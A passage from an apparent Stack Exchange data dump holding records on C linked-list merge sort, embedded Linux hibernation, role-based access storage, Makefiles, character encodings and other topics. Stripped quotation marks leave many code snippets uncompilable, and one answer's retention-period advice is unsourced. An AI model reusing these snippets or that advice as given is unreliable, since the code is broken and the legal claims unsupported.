probe;        probe = probe->next;    }    if (probe)    {        if (before_probe)        {            before_probe->next = NULL;        }    }    run_start_node = reverse(run_start_node);    run_list_enqueue(run_list, run_start_node);    return probe;}static void run_list_build(run_list_t* run_list, linked_list_t* list){    linked_list_node_t* node1;    linked_list_node_t* node2;    linked_list_node_t* tmp_node;    run_list->capacity = list->size / 2 + 1;    run_list->size = 0;    run_list->run_length_array =        malloc(run_list->capacity * sizeof(linked_list_node_t*));    run_list->head_index = 0;    run_list->tail_index = 0;    node1 = list->head;    node2 = node1->next;    while (node1)    {        node2 = node1->next;        if (!node2)        {            run_list_enqueue(run_list, node1);            return;        }        // Get run direction (ascending 1,2,3... or descending 3,2,1):        if (node1->value <= node2->value)        {            node1 = scan_ascending_run(run_list, node1);        }        else        {            node1 = scan_descending_run(run_list, node1);        }    }}static linked_list_node_t* run_list_dequeue(run_list_t* run_list){    linked_list_node_t* ret = run_list->run_length_array[run_list->head_index];    run_list->head_index = (run_list->head_index + 1) % run_list->capacity;    run_list->size--;    return ret;}static size_t run_list_size(run_list_t* run_list){    return run_list->size;}void linked_list_sort(linked_list_t* list){    run_list_t run_list;    linked_list_node_t* left_run;    linked_list_node_t* right_run;    linked_list_node_t* merged_run;    if (!list || list->size < 2)    {        // Trivially sorted or non-existent list once here.        return;    }    run_list_build(&run_list, list);    while (run_list_size(&run_list) != 1)    {        left_run = run_list_dequeue(&run_list);        right_run = run_list_dequeue(&run_list);        merged_run = merge(left_run, right_run);        run_list_enqueue(&run_list, merged_run);    }    list->head = run_list_dequeue(&run_list);}main.c#include linked_list.h#include <stdio.h>#include <stdlib.h>#include <time.h>#include <sys/time.h>void load_linked_list(linked_list_t* list, size_t len){    size_t i;    int value;    srand((unsigned int) time(NULL));    for (i = 0; i < len; ++i)    {        value = rand();        linked_list_append(list, value);    }}void load_presorted_list(linked_list_t* list, size_t len){    int i;    size_t chunk_length = len / 4;    for (i = 0; i < len; ++i)    {        linked_list_append(list, i % chunk_length);    }}static size_t milliseconds(){    struct timeval t;    gettimeofday(&t, NULL);    return t.tv_sec * 1000 + t.tv_usec / 1000;}int main(int argc, const char * argv[]) {    size_t ta;    size_t tb;    linked_list_t list;    linked_list_t large_list;    linked_list_t large_presorted_list;    linked_list_init(&list);    linked_list_init(&large_list);    linked_list_init(&large_presorted_list);    linked_list_append(&list, 5);    linked_list_append(&list, 1);    linked_list_append(&list, 2);    linked_list_append(&list, 9);    linked_list_append(&list, 6);    linked_list_append(&list, 7);    linked_list_append(&list, 10);    linked_list_append(&list, 8);    linked_list_append(&list, 4);    linked_list_append(&list, 3);        // Small demo:    linked_list_display(&list);    puts();    linked_list_sort(&list);    linked_list_display(&list);    puts();    // Large benchmark:    load_linked_list(&large_list, 1000 * 1000);    ta = milliseconds();    linked_list_sort(&large_list);    tb = milliseconds();    printf(Sorted large array in %zu milliseconds. Sorted: %d\\n,           tb - ta,           linked_list_is_sorted(&large_list));    // Large presorted benchmark:    load_presorted_list(&large_presorted_list, 1000 * 1000);    ta = milliseconds();    linked_list_sort(&large_presorted_list);    tb = milliseconds();    printf(Sorted large presorted array in %zu milliseconds. Sorted: %d\\n,           tb - ta,           linked_list_is_sorted(&large_presorted_list));    return 0;}Critique requestPlease tell me how can I improve my C programming routine."  , "title": "Sorting a singly linked list with natural merge sort in C"  , "tags": "algorithm;c;sorting;linked list;mergesort"  , "accepted_answer": "malloc can fail. Deal with it.If you don't modify something passed by pointer, mark it const. Const-correctness, if rigorously followed, is a great help for debugging and understanding, and a right pain otherwise.Consider taking advantage of the possibility to intersperse variable-declarations in code since C99. It's succh a nice feature even ancient C90 compilers allow it as an extension.This way you can declare and initialize variables where you need them, keeping their scopes minimal and easier to review.There is nobody stopping you from modifying function-arguments. Might eliminate some variables that way...ints are easily copied. And sentinels allow for the elimination of special-cases, the bane of elegance and efficiency.int linked_list_is_sorted(const linked_list_t* list) {    int last = INT_MIN;    for(linked_list_node_t* node = list->head; node; node = node->next)        if(node->value < last)            return 0;        else            last = node->value;    return 1;}Consider const-qualifying all pointers to string-literals. While in C the type is still char[N], it is immutable.How about changing the format-string instead of an insert?void linked_list_display(const linked_list_t* list) {    const char* format = %d;    for(linked_list_node_t* node = list->head; node; node = node->next) {        printf(format, node->value);        separator = , %d;    }}The conditional operator (exp ? true_val : false_val) is superb for choosing between two expressions.Double-pointers are not scary. And using them allows you to avoid needless duplication.static linked_list_node_t* merge(linked_list_node_t* a, linked_list_node_t* b) {    linked_list_node_t* head = NULL;    linked_list_node_t** insert = &head;    while (a && b) {        if (a->value < b->value) {            *insert = a;            a = a->next;        } else {            *insert = b;            b = b->next;        }        insert = &(*insert)->next    }    *insert = a ? a : b;    return head;}Integral remainder is a very costly operation. And as you know that 0 <= n < 2 * m in n % m, you can replace it with a cheaper conditional subtraction.return 0; is implicit for main() since C99. Might be interesting..."  } 
{  "id": "_unix.278438"  , "question": "I'm trying to build an embedded linux system based on an Atmel AT91SAM9G25 SoC (ARM9 @ 400Mhz) CPU. I'm using the AT91Bootstrap bootloader. As the subject of my post suggests, I have an issue with resume from hibernation functionality. Suspend to disk process seems to work fine, but upon waking up, the system doesn't restore previous session.The issue Im facing in detail is as follows:I have built a linux image for my system using buildroot and I have activated/configured accordingly the following kernel parameters:Power management options --> Suspend to RAM and standbyPower management options --> Hibernation & Default resume partition /dev/mmcblk0p3(The kernel version I'm using is 4.0.4 and /dev/mmcblk0p3 is the swap partition of the sdcard.)When I booted the system for the first time, I noticed that the swap partition didnt mount automatically. I managed to mount the swap partition manually with mkswap /dev/mmcblk0p3 and swapon -a commands. I also inserted the corresponding line to the fstab file: /dev/mmcblk0p3  none            swap    sw              0       0After rebooting, I could not find any swap partition mounted. To address this issue I included the mentioned mkswap and swapon commands to the inittab file. After reboot, swap partition was successfully mounted on startup.With the swap partition mounted, Im requesting the system to hibernate (suspend to disk). The suspend process seems to work as expected.The problem starts when I reconnect the power. Although the system seems to understand that it woke up from a suspend state, it doesnt restore the previous session. Its like performing a cold boot. Suspend to memory is working fine. I can put the system into sleep with rtcwake -s20 -m mem and when it wakes up previous session is restored succesfully. Therefore, I assume that something goes wrong with the swap partition, but I've run out of ideas.I've tried to hibernate the system using the following commands:rtcwake -s20 -m diskecho shutdown > /sys/power/diskecho disk > /sys/power/statepm-hibernatebut all of them fail as described above.Some useful dmesg and console outputs can be found hereAny suggestions or ideas of what I might be doing wrong?"  , "title": "Resume from hibernation is not working on embedded linux system"  , "tags": "embedded"  } 
{  "id": "_softwareengineering.138548"  , "question": "In my subscription form I want to use a double opt-in method:First, the visitor subscribesThen a confirmation email is dispatched. If he replies...Then I add him to the system. In the case where the user does not reply, how long can I store their email address? Are there any legal requirements with regard to that? I am from U.S. and I am  also interested in the policy in European countries."  , "title": "How long can I store the subscribe personal information?"  , "tags": "privacy"  , "accepted_answer": "However for easier conversion, you can send the subscriber a reminder as follows:a) 15 days - thanking them for subscribing to your services, and letting them know that there is only one more step to go to activate their accountb) 45 days - Letting them know that they are missing out on the goodies on your site or news letterc) 75 days - letting them know a while ago they signed up and you would like them to complete activationAfter 90 days delete their information, because they are not going to come back anyway. I remember Google and Microsoft would only hold data for 3 months before deleting it, but I am not yet sure anymore what the number is. "  } 
{  "id": "_unix.354263"  , "question": "May I use full Ubuntu in a not bootable hard drive?My hard drive can't boot (320GB). I used it just as a storing device.But then I remember the power of Linux, and thought there could possibly be a way of booting from a flash-drive and then switch to full Ubuntu in the hard drive. Is it possible?"  , "title": "May I use full Ubuntu in a not bootable hard drive?"  , "tags": "boot"  , "accepted_answer": "Yes, it's possible, even you can use floppy disc to boot linux. Or you can install lilo or grub on your primary booting hard drive, and configure it that it point to linux from this not booting HD. (is it really only 320MB)?"  } 
{  "id": "_webapps.29905"  , "question": "This is probably not possible but...I'm looking to update cells in a Google spreadsheet using the conditional formatting tool.(Changes to SERPs rankings) So when the number in a cell is changed, it recognises if the number was greater or lesser than the current number and then changes the cell colour to red for lesser and green for greater.So it needs to be able to store the last changed figure in order to make the decision, it doesn't look to be achievable from the conditional formatting options."  , "title": "Is it possible to add conditional formatting when number changes?"  , "tags": "google spreadsheets;conditional formatting"  } 
{  "id": "_unix.265944"  , "question": "Am wondering if there are any tools that will do this:Exmaple XML:<node1> <Data> <Unique>123456789-1234567891</Unique>  </Data></node1>What i was hoping to search was where Unique is Less than 10 left to - And if Right is less than 9 from - to right. So the search would flag this record/node as a problem<Unique>6789-1234567891</Unique>I was trying to use Grep to do this, but there have been various XML tools i have started using in Bash, so i thought i would ask the question first on a specific tool maybe. xmllint was one i was using. "  , "title": "Is there any tools that will let me check String length of XML Node"  , "tags": "bash;grep;xml;xmllint"  , "accepted_answer": "(sorry to spam you) Using a XML parser in perl (if ncessary: sudo cpan XML::DT)#!/usr/bin/perluse XML::DT;my $file = shift;# $c - contents after child processingprint dt(   $file,   'Unique' => sub{$c =~ s/^(\\d{1,9}-\\d+|\\d+-\\d{1,8})$/FIXME:$1/; toxml },)In this case you get a XML anotated with FIXMEs"  } 
{  "id": "_codereview.26642"  , "question": "I am breaking my head with how to get rid of semantic duplication(Code that is syntactically the same but does different things).I can't find anywhere a post or something that mentions a bit how to refactor this kind of duplication. All I found was this: http://blogs.agilefaqs.com/tag/code-smells/ but it does not go into detail on how to refactor it. This is the code that is causing me problem:public class TeamValidator {             public boolean isThereALeader(List<Member> team) {             Iterator<Member> iterator = team.iterator();           while(iterator.hasNext()) {              Member member = iterator.next();              String role = member.getRole();              if(role.equals(Leader))                return true;           }             return false;      }        public boolean areThereAtLeast2NewJoiners(List<Member> team) {             int amountOfNewJoiners = 0;             for(Member member:team) {                if(amountOfNewJoiners == 2)                    return true;                DateTime aMonthAgo = DateTime.now().minusMonths(1);                if(member.startingDate().isAfter(aMonthAgo)) {                   amountOfNewJoiners++;                }            }            return false;         }}In this 2 methods there is semantical duplication, because both Iterate a list and also check some condition/s. Any idea how could I make this semantic duplication disappear? I would really appreciate some tip or suggestion on how to refactor this."  , "title": "How to get rid of semantic duplication"  , "tags": "java"  } 
{  "id": "_unix.344487"  , "question": "Can someone clarify this piece of gibberish:lvrename [-A|--autobackup {y|n}] [-d|--debug] [-h|--help] [-t|--test] [-v|--verbose] [--version] [-f|--force] [--noudevsync] {OldLogicalVolume{Name|Path} NewLogicalVolume{Name|Path} | VolumeGroupName OldLogicalVolumeName NewLogicalVolumeName}I've formatted it exactly as I see it in my terminal.How do you go from the command spec above tolvrename /dev/vg2/lv2 /dev/vg2/lvm02"  , "title": "How do you parse `lvrename [-A|--autobackup {y|n}] [-d|--debug] [-h|--help] [-t|--test] [-v|--verbose] [--version] [-f|--force] [--noudevsync]"  , "tags": "lvm"  } 
{  "id": "_bioinformatics.604"  , "question": "I got a customized GRCh38.79 .gtf file (modified to have no MT genes) and I need to create a reference genome out of it (for 10xGenomics CellRanger pipeline). I suspect that the .79 part is the Ensembl number, which according this ensembl archive list is paired with the GRCh38.p2 patch.Should I use this patch's fasta file, or it would be fine to use any of the GRCh38 patches?"  , "title": "Can a customized GRCh38 .gtf file be used with any of the GRCh38 released patches?"  , "tags": "human genome;reference genome;gtf;10x genomics"  } 
{  "id": "_webmaster.11476"  , "question": "i have h2 and h5 headings with generic names here NSFW: such as 'editor picks' 'tags' 'all articles' would it be better for seo to give them unique and almost playful names with keywords?"  , "title": "SEO Heading Tags"  , "tags": "seo"  } 
{  "id": "_unix.46310"  , "question": "When booting my Debian server, I'm presented with the following error concerning my external hard drive:/dev/disk/by-label/elements:The superblock could not be read or does not describe a correct ext2 filesystem.........fsck died with exit status 8.......A maintenance shell will now be started. CONTROL-D will terminate this shell andresume system boot.The thing is that if I type Ctrl-d or enter the maintenance shell the disk is correctly mounted and calls to e2fsck /dev/disk/by-label/elements report no errors.This is very annoying since I need to type ctrl-d every time the server is rebooted and I would rather not have a keyboard attached to the server at all."  , "title": "Why does e2fsck fail during boot, but not later?"  , "tags": "debian;filesystems;boot;hard disk;fsck"  , "accepted_answer": "I solved it by following the advice described here: https://bugs.launchpad.net/ubuntu/+source/util-linux/+bug/367782"  } 
{  "id": "_unix.84624"  , "question": "Can anyone tell me how to set a directory only in read/write mode as below?-rw-rw-r--I tried with 640,644 but I am able to achieve..."  , "title": "Mode to set Directory in Only READ-WRITE mode"  , "tags": "linux;directory"  } 
{  "id": "_unix.356123"  , "question": "I have a windows machine, where I have shared a location and made it open through browser using https. Something like this- https://my-windows/test.I am writing a shell script which will post a file to this machine/url. I am able to download file using curl from this location but when I post/put, it gives me error. It says that I am trying to put it in a folder and expected is a file.I don't want to over write an existing file. I want to create a new file. Is this possible with curl? I am writing this shell script in Linux box and destination is a windows box.I tried following:1. curl -D- -u user:pass -X POST --data @test.txt https://my-windows/testHTTP/1.1 200 Connection establishedHTTP/1.1 405 Method Not Allowed2. curl -D- -u user:pass -X PUT --data @test.txt https://my-windows/test{  errors : [ {    status : 500,    message : Expected a file but found a folder       }   ]}3. curl -D- -u user:pass -F file=@test.txt;filename=nameinpost https://my-windows/testHTTP/1.1 200 Connection establishedHTTP/1.1 100 ContinueHTTP/1.1 405 Method Not AllowedAllow: GET,PUT,DELETEContent-Length: 0"  , "title": "Can I create file in server using CURL?"  , "tags": "windows;curl;http"  , "accepted_answer": "The error in the second message suggests that you need to include the file name, like this:curl -D- -u user:pass -X PUT --data @test.txt https://my-windows/test/test.txt"  } 
{  "id": "_softwareengineering.343868"  , "question": "Background:We are in the process of converting a traditional multi-service Windows Service (WS) application into an Azure Service Fabric microservices grid running on a Service Bus messaging layer. In the WS application, the data loader service was a singleton to prevent duplication of effort with regards to loading data into a DB from external sources as part of a job.In the new grid (and because we're using SQL Server 2016 with it's parallelised bulk data import functionality), we would like to have multiple instances of the data loader service but it is still a standard scenario that two or more jobs with dependencies on the same data set may be pushed onto the processing grid at one time.Question:Is there a standard pattern for ensuring that the duplication of effort with regards to loading specific sets of data in this type of architecture is avoided?"  , "title": "Multi-instance Microservice Grid: Preventing Duplication Of Effort When Resolving Cached Resources"  , "tags": "microservices;architectural patterns;messaging;grid computing"  , "accepted_answer": "Create a centralized data import job assigner object that assigns data import jobs to other objects. The jobs may be executed by threads within the same process, or by external processes, if running on multiple computers. The centralized assigner object avoids duplication of effort.With regards to the Single Responsibility Principle mentioned in your comment: this principle is difficult to follow because the word responsibility is vague. The definition of a responsibility should vary according to the level of abstraction and the specific software to be designed. At the highest level of abstraction, a responsibility may encompass a wide range of tasks, while at the lowest level of abstraction, a responsibility may be limited and specific. At the lowest level, some people consider two lines of code to be two separate responsibilities. Having worked with code that reduces all methods to nearly one line, I believe this type of design just as horrible, or worse, than a giant monolithic class or method."  } 
{  "id": "_cs.75818"  , "question": "What does the following symbols or expression mean?"  , "title": "The meaning of symbols"  , "tags": "discrete mathematics"  , "accepted_answer": "$x$ and $y$ are elements of a set $S$. For example, if $S = \\{1, 2, 3\\}$, we can select $x = 1$ and $y = 2$. EDIT:As pointed out by David below, $*$ could be multiplication or convolution, it's hard to tell from the context. $\\in$ means 'in', that is, that $x$ and $y$ are in a set. We can write 'x and y are elements of the set $S$ ' in math as: $x, y \\in S$Again, following my example, that would be $1$ and $2$ are in the set $\\{1, 2, 3\\}$.$\\forall$ is verbalized 'for all'. It means for every element in the set, something is either true or false. For example:$\\forall x \\in S, x < 5$ means that all of the elements in my set $S$ are less than 5.$I$ is the identity function. The entire phrase $I: \\forall X.  X \\rightarrow X$(EDIT: removed example, as it was misleading)means the identity function preserves the value of the variable $X$. More concretely, $I$ is the function that maps $X$ to itself. For all values of X, the output of the function is X.Hope that helps!"  } 
{  "id": "_softwareengineering.244867"  , "question": "Currently working on a web based CRM type system that deals with various Modules such as Companies, Contacts, Projects, Sub Projects, etc.  A typical CRM type system (asp.net web form, C#, SQL Server backend).  We plan to implement role based security so that basically a user can have one or more roles.  Roles would be broken down by first the module type such as:-Company-ContactAnd then by the actions for that module for instance each module would end up with a table such as this:Role1 Example:    Module   Create  Edit        Delete   View    Company   Yes    Owner Only    No     Yes    Contact   Yes    Yes           Yes    YesIn the above case Role1 has two module types (Company, and Contact).  For company, the person assigned to this role can create companies, can view companies, can only edit records he/she created and cannot delete.  For this same role for the module contact this user can create contacts, edit contacts, delete contacts, and view contacts (full rights basically).I am wondering is it best upon coming into the system to session the user's role with something like a:List<Role> roles;Where the Role class would have some sort of List<Module> modules; (can contain Company, Contact, etc.).?  Something to the effect of:class Role{string name;string desc;List<Module> modules;}And the module action class would have a set of actions (Create, Edit, Delete, etc.) for each module:class ModuleActions{List<Action> actions;}And the action has a value of whether the user can perform the right:class Action{string right;}Just a rough idea, I know the action could be an enum and the ModuleAction can probably be eliminated with a List<x, y>.  My main question is what would be the best way to store this information in this type of application: Should I store it in the User Session state (I have a session class where I manage things related to the user).  I generally load this during the initial loading of the application (global.asax).  I can simply tack onto this session.Or should this be loaded at the page load event of each module (page load of company etc..).  I eventually need to be able to hide / unhide various buttons / divs based on the user's role and that is what got me thinking to load this via session.Any examples or points would be great."  , "title": "How to store Role Based Access rights in web application?"  , "tags": "web development;security;session"  , "accepted_answer": "Well, I think your design is fine I would only recommend you only a simple thing on how to store the roles. I have here a system that has almost the same concepts. It is not based on roles as per the name. So I have a user session object with objects of type Map that store the permissions that the user has. And this Map objects is filled on demmand It will be something like:public class UserSession {    HashMap<Application, Action> map;    public boolean hasPermissionApp( Application app ){        if ( !map.containsKey(app) ){            //check if the user has the permission on the DB or whatever you store it            //if it has add it to the map with the action that             //it came along and return true            //if it hasn't return false        }        return true;    }    public boolean hasPermissionAction( Application app, Action act ) {        if ( hasPermissionApp(app) ){            if ( !map.get(app).containsKey(act) ){                //check if the user has permission to that action of the app                //if it has add to the map and return true                //if not return false            }        }        return false;    }}That way you load the user permisson and store it by demmand and don't overload the session object with the full set of permissions that the user has. EDITAs OP asked on the comments:Do you fill this hashmap at every sort of click event that requires role permissions?The answer is almost this. When the user logs in an application the user session object is empty, so for the Application that He is logging in I would check if He has access and if so, I add it to the map with the first Action that was called by that Application lets say 'View'. And with this Action the user can see the search form. Here you can have two approach. Which is what you asked!Check permissions when the user fire the events like with this 'View' Action it can see the entire form with the buttons search, add, cancel (or whatever others) But the permission will be checked only when the user press the button. Then it if have you add to the map or send him a message saying that it does not have that permission.Check the permission when rendering the actions. You only show the buttons on the form if the user has that appropriate Action associated to it. So lets say you are using a component library like Richfaces it would be like this:<a4j:commandButton rendered=#{userSessionObject.hasPermissionAction('appBla','search')} ..... />And since this is created on the construction of the page the map would be filled on every check permission that is made on the page or other resources.And on my application i choose for the second approach, because I don't think that make sense to show a button to a user that does not have the access to it.Edit 2A thing that maybe is usefull is that I associate a thread timing (configurable time) to the user session that clean up the maps on the userSessionObject, so if some administrator change permissions to that user at some point it will have his permissions updated automatically, not exactly at prompt but this was a acceptable requirement to this particular system."  } 
{  "id": "_unix.57715"  , "question": "I am looking for a tool which takes a file in input and a word to search. It should display the file with color the words if it corresponds to the search.Like grep --colors but displays all the file.Is there something already exists ?Example : cat /etc/passwd | colors rootDisplay all /etc/passwd file and color the words rootIf I can change the color easily it would be great !"  , "title": "Display words in color"  , "tags": "command line;sed;grep"  , "accepted_answer": "A little trick with grep will do the job:grep --color ^\\|root /etc/passwdOtherwise look here."  } 
{  "id": "_codereview.79381"  , "question": "I have a function that accepts a \\$255\\times1024\\$ array and remaps it to another array in order to account for some hardware related distortion (lines that should be straight are curved by the lens). At the moment it does exactly what I want, but slowly (roughly 30 second runtime). Specifically, I'm looking at the nested for loops that take 18 seconds to run, and the interpolation that takes 10s. Is there any way to optimize/speed up this process? EDIT: Nested for loops have been optimized as per vps' answer. Am now only interested in optimizing the interpolation function (if that's even possible).def smile(Z):    p2p = np.poly1d([ -3.08049538e-07,   3.61724996e-04,  -7.78775408e-02, 3.36876203e+00])    Y = np.flipud(np.rot90(np.tile(np.linspace(1,255,255),(1024,1))))    X = np.tile(np.linspace(1,1024,1024),(255,1))    for m in range(0,255):        for n in range(0,1024):            X[m,n] = X[m,n] - p2p(m+1)    x = X.flatten()    y = Y.flatten()    z = Z.flatten()    xy = np.vstack((x,y)).T    grid_x, grid_y = np.mgrid[1:1024:1024j, 1:255:255j]    newgrid = interpolate.griddata(xy, z,(grid_x,grid_y), method = 'linear',fill_value = 0).T      return newgrid"  , "title": "Remapping and interpolating 255x1024 array"  , "tags": "python;matrix;numpy;time limit exceeded"  , "accepted_answer": "p2p(m + 1) does not depend on n. You may safely extract its calculation from the inner loop:for m in range(0,255):    p2p_value = p2p(m + 1)    for n in range(0,1024):        X[m,n] = X[m,n] - p2p_valueIf you call smile() multiple times, it is worthwhile to precompute p2p once.Some further savings can be achieved by accounting for the sequentiality of p2p arguments. Notice that p2p(m+1) - p2p(m) is a polynomial of lesser degree; you maycalculate it incrementally:    p2p_value += p2p_delta(m)Edit:Some math:Let \\$P(x) = ax^3 + bx^2 + cx + d\\$. You may see that \\$P(x+1) - P(x) = 3ax^2 + 3ax + a + 2bx + b + c = 3ax^2 + (3a + 2b)x +(a+b+c)\\$ is a second degree polynomial, a bit easier to calculate than the original third degree one. Which leads to the code (fill up the list of coefficients according to the above formula):    p2p_delta = np.poly1d([...])    p2p_value = p2p_delta(0)    for m in range(0, 255)        for n in range(0, 1024)            X[m,n] -= p2p_value        p2p_value += p2p_delta(m)"  } 
{  "id": "_codereview.79398"  , "question": "Making an Android app involves making a lot of images of various sizes:The app's launcher icon, in high/low/medium resolutionButtons, menu buttons, if any, in high/low/medium resolutionImages for listing on Google Play: main icon, feature graphicsTo simplify this, I use high-resolution source images+ ImageMagick to cut to the various sizes+ Makefile to only regenerate the images whose source image has changed.For the feature graphics I cheat:I just generate a transparent canvas with the required dimensions,and overlay on top of it the app's icon, as big as it fits.src_dir:=srchdpi_dir:=res/drawable-hdpildpi_dir:=res/drawable-ldpimdpi_dir:=res/drawable-mdpinames:=$(patsubst $(src_dir)/%,%,$(wildcard $(src_dir)/*.png $(src_dir)/*.jpg))hdpi_target:=$(patsubst %,$(hdpi_dir)/%,$(names))ldpi_target:=$(patsubst %,$(ldpi_dir)/%,$(names))mdpi_target:=$(patsubst %,$(mdpi_dir)/%,$(names))appicon:=googleplay/appicon.pngfeature:=googleplay/feature.pngcanvas:=googleplay/canvas.pngwork:=googleplay/work.pngdefault: allhdpi: $(hdpi_dir) $(hdpi_target)ldpi: $(ldpi_dir) $(ldpi_target)mdpi: $(mdpi_dir) $(mdpi_target)googleplay: $(appicon) $(feature)all: hdpi ldpi mdpi googleplayclean:     rm $(hdpi_target) $(ldpi_target) $(mdpi_target) $(appicon) $(feature)$(hdpi_dir):    @mkdir -p $@$(ldpi_dir):    @mkdir -p $@$(mdpi_dir):    @mkdir -p $@$(hdpi_dir)/btn_%.png: $(src_dir)/btn_%.png    convert -geometry 48x $< $@    identify $@$(ldpi_dir)/btn_%.png: $(src_dir)/btn_%.png    convert -geometry 24x $< $@    identify $@$(mdpi_dir)/btn_%.png: $(src_dir)/btn_%.png    convert -geometry 36x $< $@    identify $@$(hdpi_dir)/launcher_%.png: $(src_dir)/launcher_%.png    convert -geometry 72x $< $@    identify $@$(ldpi_dir)/launcher_%.png: $(src_dir)/launcher_%.png    convert -geometry 36x $< $@    identify $@$(mdpi_dir)/launcher_%.png: $(src_dir)/launcher_%.png    convert -geometry 48x $< $@    identify $@$(appicon): $(src_dir)/launcher_main.png    @mkdir -p $(@D)    convert -geometry 512x $< $@    identify $@$(feature): $(src_dir)/launcher_main.png    @mkdir -p $(@D)    convert -size 1024x500 xc:transparent $(canvas)    convert -geometry 1024x500 $< $(work)    convert -composite $(canvas) $(work) -gravity west $@    identify $@If you want to play with this,save this script as Makefile,put an image file in src/launcher_main.png,and assuming you have ImageMagick installed,simply run make to have the images of various sizes generated in the res directory.In Android projects I have res pointing to the real resources directory of the project.This works well, but it's a bit repetitive at some places.I'm wondering if this can be more DRY,or if there are other ways to improve."  , "title": "Slicing and dicing images for Google Play"  , "tags": "image;makefile;make"  , "accepted_answer": "Use target- and pattern-specific variables:$(ldpi_dir)/btn_%.png : GEOMETRY := 24x$(mdpi_dir)/btn_%.png : GEOMETRY := 36x$(hdpi_dir)/btn_%.png : GEOMETRY := 72xand similar definitions for launcher_%.pngThen you can combine all the individual recopies into a single one:$(ldpi_dir)/%.png $(mdpi_dir)/%.png $(hdpi_dir)/%.png) :    convert -geometry $(GEOMETRY) $< $@    identify $@"  } 
{  "id": "_softwareengineering.323964"  , "question": "I got this problem in an interview and want to confirm multi threading adds no value here. Case:You are writing an agent to buy stocks.The agent is initialized with a set of stocks to buy when they hit a certain price. A separate (out of scope) service monitors the market and invokes a callback on your agent when a pice changes (agent implements some interface that provides the callback method) The callback can be invoked for stocks you don't care about,  and when it's invoked for a stock you do care about, you need to check the price is the price you want to buy at.When you determine you should buy, you invoke some external out of scope service. The agent will be run asynchronously from some engine that creates it. When all the stocks (at the desired price) have been bought, the agent shuts down. The engine that inits the agent is out of scope. I don't see the benefit of having the agent asynchronous. "  , "title": "Multi threaded and event driven"  , "tags": "multithreading;asynchronous programming"  } 
{  "id": "_unix.327826"  , "question": "Hope someone can help me. I use rsync to copy directories including files, with --remove-source-files I let rsync delete source files. Unfortunately it doesn't delete directories so I would like to delete all empty directories under SOURCE1 and SOURCE2.The find -exec rmdir command does this but unfortunately it also deletes the SOURCE directories itselfCopy.shSOURCE1=/mnt/download/transmission/complete/SOURCE2=/mnt/download/sabnzbd/completed/sudo rsync --remove-source-files --progress --ignore-existing -vr  /mnt/download/transmission/complete/ /mnt/dune/DuneHDD_1234sudo rsync --remove-source-files --progress --ignore-existing -vr /mnt/download/sabnzbd/completed/ /mnt/dune/DuneHDD_1234find $SOURCE1 -not -name complete -type d -empty -prune -exec rmdir --ignore-fail-on-non-empty -p \\{\\} \\;find $SOURCE2 -not -name completed -type d -empty -prune -exec rmdir --ignore-fail-on-non-empty -p \\{\\} \\;I also tried the following code*find $SOURCE1 -mindepth 2 -type d -empty -prune -exec rmdir --ignore-fail-on-non-empty -p \\{\\} \\;find $SOURCE2 -mindepth 2 -type d -empty -prune -exec rmdir --ignore-fail-on-non-empty -p \\{\\} \\;And without*find $SOURCE1 -type d -empty -prune -exec rmdir --ignore-fail-on-non-empty -p \\{\\} \\;find $SOURCE2 -type d -empty -prune -exec rmdir --ignore-fail-on-non-empty -p \\{\\} \\;I could add a mkdir test and change SOURCE1 to /mnt/download/transmission/complete/test and this way it always deletes the directory that I just created but I would like to do it the proper wayExample: I created 6 directories:test10/test10/test11/test10/test11/test12/test10/test11/test12/testtest1/test1/test2/test1/test2/test3/test1/test2/test3/testAfter running copy.sh I end up with perfectly copyed directories and files (test1/test2/test3/test and test10/test11/test12/test) on destination and deleted directories and files on source INCLUDING source ($SOURCE1 and $SOURCE2) itself.Is there a way to tell find to exclude the source directory itself?In other words: Everything UNDER the folowing directories shoud be deleted but not the directories themselves:SOURCE1=/mnt/download/transmission/complete/SOURCE2=/mnt/download/sabnzbd/completed/Thanks a lot in advance"  , "title": "Raspbian, debian: Howto make find $SOURCE return all directories under $SOURCE without itself"  , "tags": "debian;rsync;find;raspbian"  } 
{  "id": "_unix.78776"  , "question": "I have a text file encoded as following according to file:ISO-8859 text, with CRLF line terminatorsThis file contains French's text with accents. My shell is able to display accent and emacs in console mode is capable of correctly displaying these accents.My problem is that more, cat and less tools don't display this file correctly. I guess that it means that these tools don't support this characters encoding set. Is this true? What are the characters encodings supported by these tools?"  , "title": "Characters encodings supported by more, cat and less"  , "tags": "command line;terminal;character encoding;less;more"  , "accepted_answer": "Your shell can display accents etc because it is probably using UTF-8. Since the file in question is a different encoding, less more and cat are trying to read it as UTF and fail. You can check your current encoding withecho $LANGYou have two choices, you can either change your default encoding, or change the file to UTF-8. To change your encoding, open a terminal and typeexport LANG=fr_FR.ISO-8859For example:$ echo $LANG en_US.UTF-8$ cat foo.txt J'ai mal  la tte, c'est chiant!$ export LANG=fr_FR.ISO-8859$ xterm <-- open a new terminal $ cat foo.txt J'ai mal  la tte, c'est chiant!If you are using gnome-terminal or similar, you may need to activate the encoding, for example for terminator right click and:For gnome-terminal :Your other (better) option is to change the file's encoding:$ cat foo.txt J'ai mal  la tte, c'est chiant!$ iconv -f ISO-8859-1 -t UTF-8  foo.txt > bar.txt$ cat bar.txt J'ai mal  la tte, c'est chiant!"  } 
{  "id": "_softwareengineering.63549"  , "question": "In the real world , why do we need to implement method level security ?We either have a web application or a desktop application , where the user accesses the user interface (and therefore directly cannot access the method) . So where does accessing methods directly come into picture here ?edit : I ask this question because I am experimenting with spring security , and I see authorizing users for accessing methods . something like : @ROLE_ADMINpublic void update() {      //update}"  , "title": "Why do we need method level security?"  , "tags": "security"  , "accepted_answer": "In a properly designed application the backend and frontend are disconnected.The backend security system can't assume any specific frontend will correctly handle security, so it has to handle it itself."  } 
{  "id": "_cs.29343"  , "question": "I've been coming across a problem in one of my assignments requiring the calculation of the speedup of a two-way superscalar cpu. The problem is as follows:There is a two-way superscalar CPU with 2 pipelines U & V. The instruction pipeline U processes the complex instructions, while the instruction pipeline V processes the simple instructions. The ratio of the processing times in the phases of pipelines U and V is 3:1. I'm required to calculate the processing time for 1000 instructions in GPSS (General Purpose Simulation System) - Student Version, for the following cases:50% complex and 50% simple instructions25% complex and 75% simple instructions75% complex and 25% simple instructionsProbability of 50% complex and 50% simple instructionsProbability of 25% complex and 75% simple instructionsProbability of 75% complex and 25% simple instructionsI have the simulation files and i can deduce the execution time for each case T(Supuperscalar).However I'm stuck with the requirement of finding the speedup for each case.I'm aware that the speed up can be calculated as Speedup = T(Sequential)/T(superscalar) = k*n/k+(n-1) where k is the number of stages and n is instruction number, however I'm having a hard time figuring out how to calculate the sequential time for the above cases.I would really appreciate if somebody can give me a hint here."  , "title": 